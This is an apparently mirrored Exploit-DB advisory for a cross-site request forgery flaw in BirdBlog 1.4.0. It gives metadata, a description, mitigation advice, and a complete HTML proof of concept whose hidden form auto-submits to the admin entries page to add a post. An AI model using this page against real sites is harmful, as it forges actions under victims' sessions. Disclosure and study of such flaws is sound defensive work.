BirdBlog 1.4.0 - Cross-Site Request Forgery (Add New Post)

vendor:

BirdBlog

by:

Besim

4,3

CVSS

MEDIUM

Cross-Site Request Forgery

352

CWE

Product Name: BirdBlog

Affected Version From: 1.4.0

Affected Version To: 1.4.0

Patch Exists: NO

Related CWE: N/A

CPE: a:birdblog:birdblog:1.4.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2016

BirdBlog 1.4.0 – Cross-Site Request Forgery (Add New Post)

A Cross-Site Request Forgery (CSRF) vulnerability exists in BirdBlog 1.4.0, which allows an attacker to add a new post to the blog without authentication. An attacker can craft a malicious HTML page that contains a form with hidden fields and submit it to the vulnerable application. The application will then process the request as if it were submitted by an authenticated user.

Mitigation:

The application should validate the origin of the request and verify that the request is coming from an authenticated user. The application should also use anti-CSRF tokens to verify the authenticity of the request.

Source

Exploit-DB raw data:

<!--
# Exploit Title :              *BirdBlog 1.4.0* *- *Cross-Site Request Forgery  (*Add New Post*)
# Author :                      *Besim*
# Google Dork :                 -
# Date :                         11/10/2016
# Type :                         *webapps*
# Platform :                    *PHP*
# Software link: http://www.hotscripts.com/listings/jump/download/49011

*########################### CSRF PoC ###############################*
-->

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://site_name/path/admin/entries.php?a=post" method="POST">
      <input type="hidden" name="title" value="Exploit&#45;DB" />
      <input type="hidden" name="category" value="1" />
      <input type="hidden" name="music" value="rockrock" />
      <input type="hidden" name="mood" value="rock" />
      <input type="hidden" name="moodicon" value="1" />
      <input type="hidden" name="entry" value="tester" />
      <input type="hidden" name="excerpt" value="tester" />
      <input type="hidden" name="password" value="" />
      <input type="hidden" name="parseurls" value="1" />
      <input type="hidden" name="parseemoticons" value="1" />
      <input type="hidden" name="parsebbcode" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

<!--
*####################################################################*
-->